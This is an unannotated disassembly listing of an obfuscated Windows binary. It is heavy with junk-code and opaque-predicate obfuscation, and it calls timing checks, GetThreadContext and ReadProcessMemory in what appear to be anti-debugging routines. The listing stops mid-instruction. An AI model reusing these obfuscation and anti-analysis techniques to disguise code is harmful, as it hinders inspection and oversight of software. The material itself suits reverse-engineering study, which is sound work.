CODE XREF: .text:loc_4B9BF4j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B9BCC: ; CODE XREF: .text:004B9BEDj jmp short loc_4B9BEB ; --------------------------------------------------------------------------- loc_4B9BCE: ; CODE XREF: .text:loc_4B9BEBj xor ecx, ecx loc_4B9BD0: ; CODE XREF: .text:004B9BDFj jz short $+2 jmp short loc_4B9BE4 ; --------------------------------------------------------------------------- loc_4B9BD4: ; CODE XREF: .text:004B9BE8j stc xor ecx, 3 jz short near ptr loc_4B9B69+1 jmp short loc_4B9BE1 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B9BDD: ; CODE XREF: .text:loc_4B9BE1j jmp short loc_4B9BEF ; --------------------------------------------------------------------------- jz short loc_4B9BD0 loc_4B9BE1: ; CODE XREF: .text:004B9BDAj jnb short loc_4B9BDD ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B9BE4: ; CODE XREF: .text:004B9BD2j sbb bl, bl xor ebx, ebx jmp short loc_4B9BD4 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B9BEB: ; CODE XREF: .text:loc_4B9BCCj jmp short loc_4B9BCE ; --------------------------------------------------------------------------- jmp short loc_4B9BCC ; --------------------------------------------------------------------------- loc_4B9BEF: ; CODE XREF: .text:loc_4B9BDDj repne sbb al, 0DBh jmp short loc_4B9BF7 ; --------------------------------------------------------------------------- loc_4B9BF4: ; CODE XREF: .text:004B9BC7j jmp short near ptr loc_4B9BC7+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B9BF7: ; CODE XREF: .text:004B9BF2j popa popf bswap eax not ecx bswap eax not ecx lea ecx, [ebp-34h] push ecx push 0 mov edx, dword_4F4750 mov eax, [edx] push eax push offset sub_4B78A3 push 0 push 0 call dword_4ED02C ; CreateThread push eax call dword_4ED0E8 ; CloseHandle mov ecx, [ebp+8] and ecx, 0FFh test ecx, ecx jz short loc_4B9C39 call dword_4ED064 ; FreeConsole loc_4B9C39: ; CODE XREF: .text:004B9C31j mov byte ptr [ebp-210h], 1 mov byte ptr [ebp-0E8h], 0 mov byte ptr [ebp-0E4h], 0 loc_4B9C4E: ; CODE XREF: .text:004BC11Aj push offset dword_4F45B0 call dword_4ED1B4 ; InitializeCriticalSection mov dword ptr [ebp-4], 0 lea edx, [ebp-0A2Ch] mov [ebp-0A30h], edx push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B9C8F loc_4B9C8C: ; CODE XREF: .text:004B9CADj jmp short near ptr loc_4B9CAF+1 ; --------------------------------------------------------------------------- byte_4B9C8E db 0EBh ; CODE XREF: .text:loc_4B9D05j ; --------------------------------------------------------------------------- loc_4B9C8F: ; CODE XREF: .text:004B9C8Aj xor ebx, ebx jz short $+2 jmp short loc_4B9CA2 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B9C98: ; CODE XREF: .text:004B9CA4j mov ecx, 34F9C987h nop stc jz short loc_4B9CA6 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9CA2: ; CODE XREF: .text:004B9C93j xor eax, eax jz short loc_4B9C98 loc_4B9CA6: ; CODE XREF: .text:004B9C9Fj mov eax, 4840C987h test eax, eax jnz short loc_4B9C8C loc_4B9CAF: ; CODE XREF: .text:loc_4B9C8Cj jmp near ptr 92B23A15h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov byte ptr [ebp-9CCh], 1 jo short loc_4B9CC8 jl short loc_4B9CC6 loc_4B9CC3: ; CODE XREF: .text:loc_4B9CC6j ; .text:loc_4B9CC8j jmp short loc_4B9CCA ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B9CC6: ; CODE XREF: .text:004B9CC1j jz short loc_4B9CC3 loc_4B9CC8: ; CODE XREF: .text:004B9CBFj jmp short loc_4B9CC3 ; --------------------------------------------------------------------------- loc_4B9CCA: ; CODE XREF: .text:loc_4B9CC3j ; .text:004BC0E2j mov eax, dword_4F4750 mov ecx, [eax] push ecx call sub_4B7C87 add esp, 4 and eax, 0FFh test eax, eax jz loc_4BC0E7 pusha xor eax, eax jnz short loc_4B9CEE jmp short loc_4B9D03 ; --------------------------------------------------------------------------- loc_4B9CEE: ; CODE XREF: .text:004B9CEAj jmp short loc_4B9D23 ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4B9CF5: ; CODE XREF: .text:loc_4B9D03j jo short loc_4B9D05 jmp short near ptr loc_4B9D05+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh ; CODE XREF: .text:loc_4B9D72j dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4B9D03: ; CODE XREF: .text:004B9CECj jz short loc_4B9CF5 loc_4B9D05: ; CODE XREF: .text:loc_4B9CF5j ; .text:004B9CF7j jmp short near ptr byte_4B9C8E ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 3E86861h, 958B0000h, 0FFFFF5D0h, 0E415FF52h dd 85004ED0h ; --------------------------------------------------------------------------- ror byte ptr [edi], 84h loc_4B9D23: ; CODE XREF: .text:loc_4B9CEEj mov ebx, 8B000023h test esi, eax std ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- jmp large dword ptr ds:0FFh ; --------------------------------------------------------------------------- test eax, eax jz short loc_4B9D49 mov ecx, dword_4F4764 cmp dword ptr [ecx+20h], 0 jz short loc_4B9D49 mov byte ptr [ebp-210h], 0 loc_4B9D49: ; CODE XREF: .text:004B9D34j ; .text:004B9D40j push offset dword_4F45B0 call dword_4ED1A8 ; RtlEnterCriticalSection pusha xor eax, eax jnz short loc_4B9D5B jmp short loc_4B9D70 ; --------------------------------------------------------------------------- loc_4B9D5B: ; CODE XREF: .text:004B9D57j jmp short loc_4B9D90 ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4B9D62: ; CODE XREF: .text:loc_4B9D70j jo short loc_4B9D72 jmp short near ptr loc_4B9D72+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4B9D70: ; CODE XREF: .text:004B9D59j jz short loc_4B9D62 loc_4B9D72: ; CODE XREF: .text:loc_4B9D62j ; .text:004B9D64j jmp short near ptr byte_4B9CF9+2 ; --------------------------------------------------------------------------- dd 0A0F07ADBh, 958B6133h, 0FFFFF5D0h, 4F4750A1h, 44A8B00h dd 0F08483Bh, 232785h ; --------------------------------------------------------------------------- loc_4B9D90: ; CODE XREF: .text:loc_4B9D5Bj add [ebx-9CB6Bh], cl inc dword ptr [ecx+0FFE2h] add [ebp-7CC48B2Eh], al cmp eax, offset dword_4F4760 add [esi+32h], dh mov eax, dword_4ED3B0 xor eax, dword_4ED3FC xor eax, dword_4ED3F0 and eax, 8 test eax, eax jz short loc_4B9DDC call dword_4ED03C ; GetTickCount sub eax, dword_4F4760 cmp eax, 493E0h ; CODE XREF: .text:loc_4B9E48j jbe short loc_4B9DDC mov byte ptr [ebp-9CCh], 0 loc_4B9DDC: ; CODE XREF: .text:004B9DC0j ; .text:004B9DD3j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B9E13 ; CODE XREF: .text:loc_4B9E13j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B9DEB: ; CODE XREF: .text:004B9E0Cj jmp short loc_4B9E0A ; --------------------------------------------------------------------------- loc_4B9DED: ; CODE XREF: .text:loc_4B9E0Aj xor ecx, ecx loc_4B9DEF: ; CODE XREF: .text:004B9DFEj jz short $+2 jmp short loc_4B9E03 ; --------------------------------------------------------------------------- loc_4B9DF3: ; CODE XREF: .text:004B9E07j stc xor ecx, 3 jz short near ptr dword_4B9D74+15h jmp short loc_4B9E00 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B9DFC: ; CODE XREF: .text:loc_4B9E00j jmp short loc_4B9E0E ; --------------------------------------------------------------------------- jz short loc_4B9DEF loc_4B9E00: ; CODE XREF: .text:004B9DF9j jnb short loc_4B9DFC ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B9E03: ; CODE XREF: .text:004B9DF1j sbb bl, bl xor ebx, ebx jmp short loc_4B9DF3 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B9E0A: ; CODE XREF: .text:loc_4B9DEBj jmp short loc_4B9DED ; --------------------------------------------------------------------------- jmp short loc_4B9DEB ; --------------------------------------------------------------------------- loc_4B9E0E: ; CODE XREF: .text:loc_4B9DFCj repne sbb al, 0DBh jmp short loc_4B9E16 ; --------------------------------------------------------------------------- loc_4B9E13: ; CODE XREF: .text:004B9DE6j jmp short near ptr loc_4B9DE6+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B9E16: ; CODE XREF: .text:004B9E11j popa popf bswap eax not ecx bswap eax not ecx mov dword ptr [ebp-0A34h], 80010001h pusha xor eax, eax jnz short loc_4B9E31 jmp short loc_4B9E46 ; --------------------------------------------------------------------------- loc_4B9E31: ; CODE XREF: .text:004B9E2Dj jmp short loc_4B9E66 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4B9E38: ; CODE XREF: .text:loc_4B9E46j jo short loc_4B9E48 jmp short near ptr loc_4B9E48+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4B9E4F loc_4B9E46: ; CODE XREF: .text:004B9E2Fj jz short loc_4B9E38 loc_4B9E48: ; CODE XREF: .text:loc_4B9E38j ; .text:004B9E3Aj jmp short near ptr loc_4B9DCE+3 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4B9E4F: ; CODE XREF: .text:004B9E44j popa mov ecx, [ebp-0A30h] cmp dword ptr [ecx], 1 jnz loc_4BB66F jo short loc_4B9E68 jl short loc_4B9E66 loc_4B9E63: ; CODE XREF: .text:loc_4B9E66j ; .text:loc_4B9E68j jmp short loc_4B9E6A ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B9E66: ; CODE XREF: .text:loc_4B9E31j ; .text:004B9E61j jz short loc_4B9E63 loc_4B9E68: ; CODE XREF: .text:004B9E5Fj jmp short loc_4B9E63 ; --------------------------------------------------------------------------- loc_4B9E6A: ; CODE XREF: .text:loc_4B9E63j mov edx, [ebp-0A30h] mov eax, [edx+0Ch] xor eax, dword_4ED418 mov [ebp-0A38h], eax xor ecx, ecx mov cl, byte_4F4741 test ecx, ecx jz loc_4BA55D mov edx, dword_4ED418 xor edx, 80000001h cmp [ebp-0A38h], edx jnz loc_4BA55D push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh ; CODE XREF: .text:loc_4B9F2Dj xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B9ECA loc_4B9EC7: ; CODE XREF: .text:004B9EE8j jmp short near ptr loc_4B9EEA+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9ECA: ; CODE XREF: .text:004B9EC5j xor ebx, ebx jz short $+2 jmp short loc_4B9EDD ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B9ED3: ; CODE XREF: .text:004B9EDFj mov ecx, 34F9C987h nop stc jz short loc_4B9EE1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9EDD: ; CODE XREF: .text:004B9ECEj xor eax, eax jz short loc_4B9ED3 loc_4B9EE1: ; CODE XREF: .text:004B9EDAj mov eax, 4840C987h test eax, eax jnz short loc_4B9EC7 loc_4B9EEA: ; CODE XREF: .text:loc_4B9EC7j jmp near ptr 92B23C50h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, [ebp-0A30h] mov ecx, [eax+24h] mov [ebp-0A48h], ecx cmp dword_4F476C, 0 jnz loc_4BA07D pusha xor eax, eax jnz short loc_4B9F16 jmp short loc_4B9F2B ; --------------------------------------------------------------------------- loc_4B9F16: ; CODE XREF: .text:004B9F12j jmp short loc_4B9F4B ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4B9F1D: ; CODE XREF: .text:loc_4B9F2Bj jo short loc_4B9F2D jmp short near ptr loc_4B9F2D+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4B9F2B: ; CODE XREF: .text:004B9F14j jz short loc_4B9F1D loc_4B9F2D: ; CODE XREF: .text:loc_4B9F1Dj ; .text:004B9F1Fj jmp short near ptr loc_4B9EB5+1 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:0CC686133h add al, [eax] add [edx+0], ch lea edx, [ebp-0D14h] push edx call _memset_0 add esp, 0Ch loc_4B9F4B: ; CODE XREF: .text:loc_4B9F16j mov dword ptr [ebp-0D14h], 10001h lea eax, [ebp-0D14h] push eax mov ecx, dword_4F4750 mov edx, [ecx+4] push edx call dword_4ED0E0 ; GetThreadContext test eax, eax loc_4B9F6E: ; DATA XREF: sub_493DB7+6o ; sub_493EDB+118o jz loc_4BA07D push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B9F97 loc_4B9F94: ; CODE XREF: .text:004B9FB5j jmp short near ptr loc_4B9FB7+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9F97: ; CODE XREF: .text:004B9F92j xor ebx, ebx jz short $+2 jmp short loc_4B9FAA ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B9FA0: ; CODE XREF: .text:004B9FACj mov ecx, 34F9C987h nop stc jz short loc_4B9FAE ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B9FAA: ; CODE XREF: .text:004B9F9Bj xor eax, eax jz short loc_4B9FA0 loc_4B9FAE: ; CODE XREF: .text:004B9FA7j mov eax, 4840C987h test eax, eax jnz short loc_4B9F94 loc_4B9FB7: ; CODE XREF: .text:loc_4B9F94j jmp near ptr 92B23D1Dh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, [ebp-0A48h] ; CODE XREF: .text:004BA032j sub eax, dword_4F4754 shr eax, 0Ch mov [ebp-0D18h], eax cmp dword ptr [ebp-0D18h], 0 jl loc_4BA07D mov ecx, [ebp-0D18h] cmp ecx, dword_4F4768 jge loc_4BA07D mov edx, [ebp-0C5Ch] sub edx, dword_4F4754 shr edx, 0Ch mov [ebp-0D1Ch], edx mov eax, [ebp-0D18h] cmp eax, [ebp-0D1Ch] jz short loc_4BA07D push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BA04E ; CODE XREF: .text:loc_4BA04Ej ; --------------------------------------------------------------------------- db 0D2h ; --------------------------------------------------------------------------- loc_4BA024: ; CODE XREF: .text:loc_4BA09Bj jo short loc_4BA034 loc_4BA026: ; CODE XREF: .text:004BA047j jmp short loc_4BA045 ; --------------------------------------------------------------------------- loc_4BA028: ; CODE XREF: .text:loc_4BA045j xor ecx, ecx loc_4BA02A: ; CODE XREF: .text:004BA039j jz short $+2 jmp short near ptr loc_4BA03D+1 ; --------------------------------------------------------------------------- loc_4BA02E: ; CODE XREF: .text:004BA042j stc xor ecx, 3 jz short near ptr loc_4B9FC0+4 loc_4BA034: ; CODE XREF: .text:loc_4BA024j jmp short loc_4BA03B ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BA037: ; CODE XREF: .text:loc_4BA03Bj jmp short loc_4BA049 ; --------------------------------------------------------------------------- jz short loc_4BA02A loc_4BA03B: ; CODE XREF: .text:loc_4BA034j jnb short loc_4BA037 loc_4BA03D: ; CODE XREF: .text:004BA02Cj repne sbb bl, bl xor ebx, ebx jmp short loc_4BA02E ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BA045: ; CODE XREF: .text:loc_4BA026j jmp short loc_4BA028 ; --------------------------------------------------------------------------- jmp short loc_4BA026 ; --------------------------------------------------------------------------- loc_4BA049: ; CODE XREF: .text:loc_4BA037j repne sbb al, 0DBh jmp short loc_4BA051 ; --------------------------------------------------------------------------- loc_4BA04E: ; CODE XREF: .text:004BA021j jmp short near ptr loc_4BA021+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BA051: ; CODE XREF: .text:004BA04Cj popa popf bswap eax not ecx bswap eax not ecx mov ecx, dword_4F4768 shl ecx, 0Ch mov edx, dword_4F4754 add edx, ecx mov dword_4F4754, edx jo short loc_4BA07B jl short loc_4BA079 loc_4BA076: ; CODE XREF: .text:loc_4BA079j ; .text:loc_4BA07Bj jmp short loc_4BA07D ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BA079: ; CODE XREF: .text:004BA074j jz short loc_4BA076 loc_4BA07B: ; CODE XREF: .text:004BA072j jmp short loc_4BA076 ; --------------------------------------------------------------------------- loc_4BA07D: ; CODE XREF: .text:004B9F09j ; .text:loc_4B9F6Ej ... pusha xor eax, eax jnz short loc_4BA084 jmp short loc_4BA099 ; --------------------------------------------------------------------------- loc_4BA084: ; CODE XREF: .text:004BA080j jmp short loc_4BA0B9 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4BA08B: ; CODE XREF: .text:loc_4BA099j jo short loc_4BA09B jmp short near ptr loc_4BA09B+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4BA099: ; CODE XREF: .text:004BA082j jz short loc_4BA08B loc_4BA09B: ; CODE XREF: .text:loc_4BA08Bj ; .text:004BA08Dj jmp short loc_4BA024 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 8B6133A0h, 0FFF5D085h, 18488BFFh, 0F5BC8D89h, 958BFFFFh dd 0FFFFF5D0h db 33h ; --------------------------------------------------------------------------- loc_4BA0B9: ; CODE XREF: .text:loc_4BA084j rol byte ptr [ebx+0F00207Ah], 94h ror byte ptr [eax-0A3B7Bh], 0FFh mov ecx, [ebp-0A48h] sub ecx, dword_4F4754 shr ecx, 0Ch mov [ebp-0A40h], ecx xor edx, edx mov dl, byte_4F4742 test edx, edx jz loc_4BA2A3 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BA10F loc_4BA10C: ; CODE XREF: .text:004BA12Dj jmp short near ptr loc_4BA12F+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BA10F: ; CODE XREF: .text:004BA10Aj xor ebx, ebx jz short $+2 jmp short loc_4BA122 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BA118: ; CODE XREF: .text:004BA124j mov ecx, 34F9C987h nop stc jz short loc_4BA126 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BA122: ; CODE XREF: .text:004BA113j xor eax, eax jz short loc_4BA118 loc_4BA126: ; CODE XREF: .text:004BA11Fj mov eax, 4840C987h test eax, eax jnz short loc_4BA10C loc_4BA12F: ; CODE XREF: .text:loc_4BA10Cj jmp near ptr 92B23E95h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, [ebp-0A40h] sub eax, 1 test eax, eax jl short loc_4BA1C4 push 1 mov ecx, [ebp-0A40h] xor edx, edx mov dl, byte_4F1F77[ecx] mov eax, [ebp-0A40h] xor ecx, ecx mov cl, byte_4F1F78[eax] mov esi, dword_4ED3A8[edx*4] xor esi, dword_4ED3A8[ecx*4] loc_4BA171: ; CODE XREF: .text:004BA1DFj mov edx, [ebp-0A40h] xor eax, eax mov al, byte_4F1F79[edx] xor esi, dword_4ED3A8[eax*4] mov eax, [ebp-0A40h] sub eax, 1 cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr esi, cl and esi, 0Fh mov edx, [ebp-0A40h] lea eax, [edx+esi-10h] mov ecx, dword_4F474C lea edx, [ecx+eax*4] push edx mov eax, [ebp-0A40h] sub eax, 1 push eax call loc_4BC15F add esp, 0Ch loc_4BA1C4: ; CODE XREF: .text:004BA143j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BA1FB ; CODE XREF: .text:loc_4BA1FBj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BA1D3: ; CODE XREF: .text:004BA1F4j jmp short loc_4BA1F2 ; --------------------------------------------------------------------------- loc_4BA1D5: ; CODE XREF: .text:loc_4BA1F2j xor ecx, ecx loc_4BA1D7: ; CODE XREF: .text:004BA1E6j jz short $+2 jmp short loc_4BA1EB ; --------------------------------------------------------------------------- loc_4BA1DB: ; CODE XREF: .text:004BA1EFj stc xor ecx, 3 jz short loc_4BA171 jmp short loc_4BA1E8 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BA1E4: ; CODE XREF: .text:loc_4BA1E8j jmp short loc_4BA1F6 ; --------------------------------------------------------------------------- jz short loc_4BA1D7 loc_4BA1E8: ; CODE XREF: .text:004BA1E1j jnb short loc_4BA1E4 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BA1EB: ; CODE XREF: .text:004BA1D9j sbb bl, bl xor ebx, ebx jmp short loc_4BA1DB ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BA1F2: ; CODE XREF: .text:loc_4BA1D3j jmp short loc_4BA1D5 ; --------------------------------------------------------------------------- jmp short loc_4BA1D3 ; --------------------------------------------------------------------------- loc_4BA1F6: ; CODE XREF: .text:loc_4BA1E4j repne sbb al, 0DBh jmp short loc_4BA1FE ; --------------------------------------------------------------------------- loc_4BA1FB: ; CODE XREF: .text:004BA1CEj jmp short near ptr loc_4BA1CE+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BA1FE: ; CODE XREF: .text:004BA1F9j popa popf bswap eax not ecx bswap eax not ecx mov ecx, [ebp-0A40h] add ecx, 1 cmp ecx, dword_4F4768 jge short loc_4BA298 push 1 mov edx, [ebp-0A40h] xor eax, eax mov al, byte_4F1F79[edx] mov ecx, [ebp-0A40h] xor edx, edx mov dl, byte_4F1F7A[ecx] mov esi, dword_4ED3A8[eax*4] xor esi, dword_4ED3A8[edx*4] mov eax, [ebp-0A40h] xor ecx, ecx mov cl, byte_4F1F7B[eax] xor esi, dword_4ED3A8[ecx*4] mov eax, [ebp-0A40h] add eax, 1 cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr esi, cl and esi, 0Fh mov edx, [ebp-0A40h] lea eax, [edx+esi+10h] mov ecx, dword_4F474C lea edx, [ecx+eax*4] push edx mov eax, [ebp-0A40h] add eax, 1 push eax call loc_4BC15F add esp, 0Ch loc_4BA298: ; CODE XREF: .text:004BA217j jo short loc_4BA2A1 jl short loc_4BA29F loc_4BA29C: ; CODE XREF: .text:loc_4BA29Fj ; .text:loc_4BA2A1j jmp short loc_4BA2A3 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BA29F: ; CODE XREF: .text:004BA29Aj jz short loc_4BA29C loc_4BA2A1: ; CODE XREF: .text:loc_4BA298j jmp short loc_4BA29C ; --------------------------------------------------------------------------- loc_4BA2A3: ; CODE XREF: .text:004BA0E6j ; .text:loc_4BA29Cj cmp dword ptr [ebp-0A40h], 0 jl loc_4BA558 mov ecx, [ebp-0A40h] cmp ecx, dword_4F4768 jge loc_4BA558 mov edx, [ebp-9CCh] and edx, 0FFh test edx, edx jz loc_4BA383 push 0 mov esi, [ebp-0A40h] shl esi, 4 mov eax, [ebp-0A40h] and eax, 80000007h jns short loc_4BA2F3 dec eax or eax, 0FFFFFFF8h inc eax loc_4BA2F3: ; CODE XREF: .text:004BA2ECj xor ecx, ecx mov cl, byte_4F1F78[eax] mov edx, [ebp-0A40h] and edx, 80000007h jns short loc_4BA30E dec edx or edx, 0FFFFFFF8h inc edx loc_4BA30E: ; CODE XREF: .text:004BA307j xor eax, eax mov al, byte_4F1F79[edx] mov edi, dword_4ED3A8[ecx*4] xor edi, dword_4ED3A8[eax*4] mov ecx, [ebp-0A40h] and ecx, 80000007h jns short loc_4BA337 dec ecx or ecx, 0FFFFFFF8h inc ecx loc_4BA337: ; CODE XREF: .text:004BA330j xor edx, edx mov dl, byte_4F1F7A[ecx] xor edi, dword_4ED3A8[edx*4] mov eax, [ebp-0A40h] cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr edi, cl and edi, 0Fh add esi, edi mov edx, dword_4F474C lea eax, [edx+esi*4] push eax mov ecx, [ebp-0A40h] push ecx call loc_4BC15F add esp, 0Ch and eax, 0FFh test eax, eax jz loc_4BA558 loc_4BA383: ; CODE XREF: .text:004BA2D0j cmp dword ptr [ebp-2Ch], 0 jnz short loc_4BA3B0 mov edx, dword_4ED3B0 xor edx, dword_4ED3FC xor edx, dword_4ED3F0 and edx, 200000h test edx, edx jz short loc_4BA3B0 mov eax, dword_4F4764 mov ecx, [eax+10h] mov [ebp-2Ch], ecx loc_4BA3B0: ; CODE XREF: .text:004BA387j ; .text:004BA3A3j cmp dword ptr [ebp-2Ch], 0 jz short loc_4BA3DD mov edx, [ebp-0A44h] ; CODE XREF: .text:loc_4BA42Ej cmp edx, [ebp-2Ch] jb short loc_4BA3DD mov eax, [ebp-2Ch] add eax, 10000h cmp [ebp-0A44h], eax jnb short loc_4BA3DD mov ecx, dword_4F4754 mov [ebp-0A44h], ecx loc_4BA3DD: ; CODE XREF: .text:004BA3B4j ; .text:004BA3BFj ... mov edx, [ebp-0A44h] cmp edx, dword_4F4754 jb short loc_4BA407 mov eax, dword_4F4768 shl eax, 0Ch mov ecx, dword_4F4754 add ecx, eax cmp [ebp-0A44h], ecx jbe loc_4BA54E loc_4BA407: ; CODE XREF: .text:004BA3E9j mov word ptr [ebp-0D24h], 0 pusha xor eax, eax jnz short loc_4BA417 jmp short loc_4BA42C ; --------------------------------------------------------------------------- loc_4BA417: ; CODE XREF: .text:004BA413j jmp short loc_4BA44C ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BA41E: ; CODE XREF: .text:loc_4BA42Cj jo short loc_4BA42E jmp short near ptr loc_4BA42E+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BA42C: ; CODE XREF: .text:004BA415j jz short loc_4BA41E loc_4BA42E: ; CODE XREF: .text:loc_4BA41Ej ; .text:004BA420j jmp short near ptr loc_4BA3B6+1 ; --------------------------------------------------------------------------- dd 0A0F07ADBh, 958B6133h, 0FFFFF5BCh, 4750A152h, 88B004Fh dd 0CFBFE851h, 0C483FFFFh ; --------------------------------------------------------------------------- loc_4BA44C: ; CODE XREF: .text:loc_4BA417j or [ecx-0D1F7Bh], cl push dword ptr [eax+7] jl short loc_4BA45A loc_4BA457: ; CODE XREF: .text:loc_4BA45Aj ; .text:004BA45Cj jmp short loc_4BA45E ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BA45A: ; CODE XREF: .text:004BA455j jz short loc_4BA457 jmp short loc_4BA457 ; --------------------------------------------------------------------------- loc_4BA45E: ; CODE XREF: .text:loc_4BA457j mov edx, [ebp-0A44h] add edx, 1000h mov [ebp-0A44h], edx push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BA493 loc_4BA490: ; CODE XREF: .text:004BA4B1j jmp short near ptr loc_4BA4B3+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BA493: ; CODE XREF: .text:004BA48Ej xor ebx, ebx jz short $+2 jmp short loc_4BA4A6 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BA49C: ; CODE XREF: .text:004BA4A8j mov ecx, 34F9C987h nop stc jz short loc_4BA4AA ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BA4A6: ; CODE XREF: .text:004BA497j xor eax, eax jz short loc_4BA49C loc_4BA4AA: ; CODE XREF: .text:004BA4A3j mov eax, 4840C987h test eax, eax jnz short loc_4BA490 loc_4BA4B3: ; CODE XREF: .text:loc_4BA490j ; .text:004BA525j jmp near ptr 92B24219h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax push 0 push 2 lea eax, [ebp-0D24h] push eax mov ecx, [ebp-0D20h] push ecx mov edx, dword_4F4750 mov eax, [edx] push eax call dword_4ED0D0 ; ReadProcessMemory test eax, eax jz short 